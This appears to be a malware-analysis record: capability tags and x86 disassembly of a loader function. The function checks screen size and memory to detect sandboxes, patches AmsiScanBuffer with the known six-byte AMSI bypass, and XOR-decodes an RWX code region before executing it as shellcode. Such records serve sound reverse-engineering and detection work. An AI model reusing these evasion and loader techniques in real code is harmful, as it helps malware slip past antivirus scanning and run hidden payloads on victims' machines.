Function at 0x401820
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Patch antimalware scan interface function

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x18
mov eax, dword [0x405004]
xor eax, esp
mov dword [esp + 0x14], eax
push esi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push edi
push 0
mov dword [esp + 0x18], 0x70057b8
mov word [esp + 0x1c], 0xc380
mov byte [esp + 0x1e], 0
call esi
push 1
mov edi, eax
call esi
mov esi, eax
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetPhysicallyInstalledSystemMemory]
mov ecx, dword [esp + 8]
and ecx, 0xfffffc00
cmp dword [esp + 0xc], 0
ja 0x401880
cmp ecx, 0x800
jb 0x401890
cmp edi, 0xc8
jae 0x4018ab
cmp esi, 0xc8
jae 0x4018ab
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.00401a39
mov esp, ebp
pop ebp
ret
push str.amsi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x401a26
push str.AmsiScanBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x401a26
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [0x40537c], eax
test eax, eax
jne 0x4018ef
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x40537c]
push 0
push 6
lea ecx, [esp + 0x1c]
push ecx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push 0x800
push 0xd
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x401a26
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0x40
push 0x800
push fcn.004011d0
call edi
mov eax, fcn.004011d0
xor esi, esi
dec eax
cmp esi, 2
jle 0x401956
cmp byte [eax - 1], 0xe5
jne 0x401956
cmp byte [eax], 0x5d
jne 0x401956
cmp byte [eax + 1], 0xc3
je 0x40195a
inc esi
inc eax
jmp 0x401940
push 0
push 0x40
push esi
push fcn.004011d0
call edi
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
add esp, 4
test edi, edi
je 0x401a26
push esi
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push esi
push fcn.004011d0
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
xor ecx, ecx
cmp esi, 0x40
jb 0x401a00
mov eax, esi
and eax, 0x8000003f
jns 0x4019aa
dec eax
or eax, 0xffffffc0
inc eax
movaps xmm2, xmmword [0x4033c0]
mov edx, esi
sub edx, eax
lea eax, [edi + 0x20]
nop dword [eax + eax]
movups xmm0, xmmword [eax - 0x20]
lea eax, [eax + 0x40]
add ecx, 0x40
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [eax - 0x60], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [eax - 0x50]
xorps xmm0, xmm2
movups xmmword [eax - 0x50], xmm0
movups xmm0, xmmword [eax - 0x40]
xorps xmm0, xmm2
movups xmmword [eax - 0x40], xmm0
movups xmm0, xmmword [eax - 0x30]
xorps xmm1, xmm0
movups xmmword [eax - 0x30], xmm1
cmp ecx, edx
jl 0x4019c0
cmp ecx, esi
jge 0x401a09
xor byte [ecx + edi], 5
inc ecx
cmp ecx, esi
jl 0x401a00
push 0
push esi
push edi
push fcn.004011d0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call fcn.004011d0
xor eax, eax
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
xor ecx, esp
call fcn.00401a39
mov esp, ebp
pop ebp
ret